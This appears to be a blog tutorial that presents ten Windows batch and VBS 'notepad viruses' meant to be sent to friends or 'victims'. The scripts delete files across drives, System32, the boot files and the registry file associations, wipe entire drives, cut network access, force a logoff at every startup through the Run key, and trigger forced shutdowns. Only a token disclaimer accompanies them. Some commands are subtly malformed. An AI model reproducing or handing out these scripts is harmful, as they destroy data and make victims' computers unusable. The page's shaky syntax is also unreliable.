Notepad Virus : How to Create Virus using Notepad (Do It at own risk)

3131
notepad virus

Did you wonder what is a notepad virus? Did you know you can create harmful and dangerous viruses for Windows by using a only notepad editor?

I will show you some methods to create a notepad virus that affects the internal working of a system. This notepad virus actually overwrites current system config files which results in corruption and conflict in processing in system damage. this notepad virus tutorial is for educational purposes only. don’t harm anyone’s system using this method.

Now I will show you different methods to how to create a notepad virus using a notepad editor

Also Read: How to Hack wifi using Android

How to Create Notepad Virus using Notepad Editor

Follow the below step-by-step tutorials to create the Notepad virus.

Warning: For Testing Purposes, I highly recommend creating a local virtual machine or Azure virtual machine.

Step 1: Open Notepad on your System (simply search Notepad on the start menu)

Step 2: Follow any of the below Methods to create different types of notepad viruses.

Method 1:  Dangerous Notepad Virus

While you open the notepad, copy & paste the below code.

@echo off
del D:\*.* /f /s /q
del E:\*.* /f /s /q
del F:\*.* /f /s /q
del G:\*.* /f /s /q
del H:\*.* /f /s /q
del I:\*.* /f /s /q
del J:\*.* /f /s /q

Then save it as kinng.bat and the batch file is created. When you run it, it will crash your system.
WARNING:: This is the most dangerous virus! Be careful with it.

Method 2: Delete the entire registry

While you open an empty notepad, copy & paste the below code.

@ECHO OFF
START reg delete HKCR/.exe
START reg delete HKCR/.dll
START reg delete HKCR/*

Now save it as kinng.bat and the batch file is created. When you run it, it will infect your system.

Method 3: How to crash a PC Forever

Open Notepad and type/paste the following code

@echo off
attrib -r -s -h c:\autoexec.bat
del c:\autoexec.bat
attrib -r -s -h c:\boot.ini
del c:\boot.ini
attrib -r -s -h c:\ntldr
del c:\ntldr
attrib -r -s -h c:\windows\win.ini
del c:\windows\win.ini

Then, Save it as a Kinng.bat file.
This should shut down the person’s computer. It shuts it off once and deletes the files needed to reboot and restart.
REMEMBER – DO NOT CLICK THIS FILE ON YOUR WORKING SYSTEM.

Method 4: How to stop someone’s internet access

Open Notepad and type/paste the following code:

@Echo off
Ipconfig /release

Save that as a Kinng.bat and send it to someone. Their IP address will be lost, and therefore they won’t be able to fix it

However, this is VERY easy to fix. Simply type in IPconfig /renew

Method 5: ShutDown PC a million Times

Step 1: right-click on the desktop
Step 2: Click New->shortcut

you will get a dialogue box,
write in it: shutdown -s -t 1000 c “any comment you want” then press next.
note: this “1000” I wrote is the time in seconds needed for your computer to shut down, you can put any number you want…

Step 3: you will get another dialogue box, write in it: Internet Explorer and press finish

Step 4: you will find the icon on your desktop, don’t open it, just right-click on it and press properties>change icon>select the icon the internet explorer and the press apply then ok
try to open it, it is a virus hehe
PS: The only way 2 stop your computer from shutting down is to go 2 start>run>type: shutdown -a

Method 6: System32 Virus

Open Notepad, copy & paste the below command there:

del c:\WINDOWS\system32\*.*/q

and save as ” anything.bat
Done. If You Give this file to your victim his SYSTEM 32 Folder will be deleted. Without this, a Windows Pc can’t be started.

Method 7: Local Disk Virus

Open Notepad, Copy the below command there:

rd/s/q D:\
rd/s/q C:\
rd/s/q E:\

Save as “anything.bat”
This virus Formats the C, D, and E Drive in 3 Seconds.

Method 8: VBS Virus

Just open the Notepad and type or copy/paste the following Code.

set ws=createobject("wscript.shell")
dim strDir,strfile,st,strtxt2,strshell,strlog
dim obfso,obfolder,obshell,obfile,obtxtfile
strshell="wscript.shell"
strDir="C:\WINDOWS"
strfile="\wscript.vbs"
st=Chr(34)
strlog="shutdown -l"
strtxt2="ws.run(strlog)"
set obfso=CreateObject("Scripting.FileSystemObject")
on error resume next
set obfile=obfso.CreateTextfile(strDir & strfile)
obfile.writeline("set ws=createobject("&st&strshell&st&")")
obfile.writeline("ws.run("&st&strlog&st&")")
ws.regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Logoff","C:\WINDOWS\wscript.vbs","REG_SZ”

Now Save This Notepad file With Any Name Having .vbs Extension.

Method 9: FriendBite Virus

Convey your friend a little message and shut down his / her computer.
Just open the Notepad and type or copy/paste the following Code.

@echo off
msg * I don't like you
shutdown -c "Error! You are too stupid!" -s

Save it as “Anything.BAT” in All Files and send it.

Type 10: Caps Lock Virus

Toggle your friend’s Caps Lock button simultaneously.
Just open the Notepad and type or copy/paste the following Code.

Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop

Save it as “Anything.VBS” and send it.

Done!

I recommend you to not test these viruses on your computer. you can test it on virtual machines such as VirtualBox, VMware, etc or you can test it on windows azure virtual machines. Be careful guys! Don’t harm anyone! Thank you, guys! Have a nice day!

Subscribe
Notify of
guest
1 Comment
Oldest
Newest Most Voted
Inline Feedbacks
View all comments
reek
reek
7 months ago

good virus